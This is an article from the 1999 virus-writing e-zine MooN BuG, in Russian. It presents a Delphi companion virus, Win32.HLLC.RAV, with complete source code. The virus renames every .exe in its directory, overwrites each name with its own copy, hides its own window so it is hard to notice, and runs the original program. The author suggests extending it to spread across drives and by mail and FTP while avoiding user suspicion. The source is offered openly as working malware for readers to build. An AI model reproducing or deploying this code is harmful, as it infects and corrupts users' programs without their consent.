╔════════╤════════════════════════════════════════════════════╤══════════╤═══╗
║Okt 1999│NF представляет электронный журнал MooN BuG issue 11│  RedArc  │006║
╟────────┴────────────────────────────────────────────────────┴──────────┴───╢
║                           Win32.HLLC.RAV.321536                            ║
╚════════════════════════════════════════════════════════════════════════════╝

     С первого взгляда ничего особенного в этом вирусе нет. Поиск *.exe файлов
в текущем каталоге, переименование найденных жертв в файлы с расширением *.rav
(RedArcVirus)  и  запись собственного тела с именем жертвы. После поиска жертв
запускается goat-файл и ему передаются возможные параметры в командной строке.
С  первого взгляда это еще один HLLC вирус написанный на Delphi и доказывающий
еще  раз,  что писать вирусы для Win32 не просто, а очень просто... еще проще,
чем для DOS.
     Однако  зверек  содержит  одну  изюминку. А именно, вирус неявно включает
стелсирование своего процесса в Windows-памяти. Достигается это тем, что после
создания формы управление получает обработчик единственного объекта на форме -
кнопки  с  именем  Button1.  Именно  этот обработчик и производит все вирусные
действия, но перед этим он изменяет два свойства самой формы:
         Form1.Visible -> False
         Form1.Enabled -> False
После  чего  форма  исчезает  с  экрана и процесс становится невидимым из Task
Manager.
     Натолкнулся  я на этот эффект совершенно случайно, хотя может быть он где
то и задокументирован, но для вируса этот эффект чрезвычайно полезен. И так, я
взял  форму,  кинул на нее кнопку и в обработчик события OnClick вставил всего
лишь две команды:

        procedure TForm1.Button1Click(Sender: TObject);
        begin
              Enabled := False;
              Visible := False;
        end;

     После  чего  откомпилировал  полученное приложение, запустил и щелкнул по
кнопке...  Окно  приложения  исчезло,  но  доступ  к  файлу приложения остался
заблокированным. Никакими стандартными средствами я не смог прибить приложение
и мне пришлось ребутнуть форточки.
     Именно   этот  эффект  я  и  решил  проверить  на  примитивном  вирусе...
Получилось  как  ни  странно  ;)  Все  что  для  этого  пришлось  сделать, это
подключить автоматический вызов обработчика OnClick кнопки

        begin
              Application.Initialize;
              Application.CreateForm(TForm1, Form1);
--->          Form1.Button1.Click;
              Application.Run;
        end.

и добавить вирусной функциональности в сам обработчик.
     В  принципе,  можно  выполнить  запуск  goat-файла сразу с выделением ему
отдельного  потока,  а  в  вирус  воткнуть  обход  всех каталогов всех дисков,
рассылку  собственного  тела по почте и FTP ну и т.д. При этом вирус останется
активным в фоне даже после завершения работы goat-файла (резидент) и останется
невидимым  для  юзера (стелс). Главное - вставить в процедуру обхода каталогов
как  можно  больше  Sleep'ов  с как можно большим значением, дабы не волновать
юзера  чрезвычайной  активность HDD. Я этого делать не стал, поскольку мне это
не интересно.
     И  так,  создаем  в  Delphi  новый проект, кладем на форму кнопку, делаем
обработчик OnClick как показано ниже (см. модуль unit1.pas) и вставляем в файл
проекта  (см. файл hllc.dpr) команду автоматического вызова этого обработчика.
Собственно и все. Вирус готов.

=== Cut ===                                                           hllc.dpr
program HLLC;

uses
  Forms,
  Unit1 in 'Unit1.pas' {Form1};

{$R *.RES}

begin
  Application.Initialize;
  Application.CreateForm(TForm1, Form1);
  Form1.Button1.Click;
  Application.Run;
end.
=== Cut ===

=== Cut ===                                                          unit1.pas
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, FileUtil;

type
  TForm1 = class(TForm)
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

var
   BossName : String;
   HomeDir  : String;
   SParam   : String;

Function ExecProgramFile (PName, PParam : String) : THandle;
var
   S : String;
   ProcessName,
   ProcessParam : PChar;
   IpProcessAttributes : PSecurityAttributes;
   IpThreadAttributes  : PSecurityAttributes;
   bInheritHandles     : bool;
   dwCreationFlags     : dword;
   IpEnvironment       : Pointer;
   IpCurrentDirectory  : LPCTSTR;
   IpStartupInfo       : _STARTUPINFOA;
   IpProcessInformation: PROCESS_INFORMATION;
begin
     if not FileExists (PName) then Exit;
     ProcessName  := nil;
     ProcessParam := PChar (PName + ' ' + PParam);
     IpProcessAttributes := nil;
     IpThreadAttributes  := nil;
     bInheritHandles     := True;
     dwCreationFlags     := Create_Default_Error_Mode;
     IpEnvironment       := nil;
     IpCurrentDirectory  := nil;
     with IpStartupInfo do begin
          cb := SizeOf (TStartupInfo);
          lpReserved := nil;
          lpDesktop  := nil;
          lpTitle    := nil;
          dwX        := 0;
          dwY        := 0;
          dwXSize    := 100;
          dwYSize    := 100;
          dwXCountChars := 80;
          dwYCountChars := 24;
          dwFillAttribute := 15;
          dwFlags       := STARTF_USESTDHANDLES;
          wShowWindow   := SW_SHOWNORMAL;
          cbReserved2   := 0;
          lpReserved2   := nil;
     end;
     if CreateProcess (ProcessName, ProcessParam, IpProcessAttributes, IpThreadAttributes,
                       bInheritHandles, dwCreationFlags, IpEnvironment,
                       IpCurrentDirectory, IpStartupInfo, IpProcessInformation)

     then
       Result:=IpProcessInformation.hProcess
     Else
       Result:=0;
     ChDir (HomeDir);
end;

procedure TForm1.Button1Click(Sender: TObject);
var
   SR      : TSearchRec;
   S       : String;
   AhProcess : THandle;
   AExitCode : DWORD;
   i : integer;
begin
     BossName := ParamStr (0);
     SParam := '';
     for i := 1 to ParamCount do
         SParam := SParam + ' ' + ParamStr (i);
     Visible := False;
     Enabled := False;
     GetDir (0, HomeDir);
     if HomeDir [Length (HomeDir)] <> '\' then HomeDir := HomeDir + '\';
     HomeDir := HomeDir + '*.exe';
     if FindFirst(HomeDir, faArchive, SR) = 0 then begin
         while FindNext(SR) = 0 do begin
               S := ChangeFileExt (SR.Name, '.RAV');
               if not RenameFile (SR.Name, S) then Continue;
               S := SR.Name;
               FileUtil.CopyFile (BossName, S, nil);
         end;
         FindClose(SR);
     end;
     S := ChangeFileExt (BossName, '.RAV');
     if FileExists (S) then begin
         AhProcess:=ExecProgramFile (S, SParam);
         If not (AhProcess = 0 ) and (WaitForSingleObject(AhProcess, INFINITE) = WAIT_OBJECT_0)
            then GetExitCodeProcess(AhProcess, AExitCode);
     end;
     Close;
end;

end.
=== Cut ===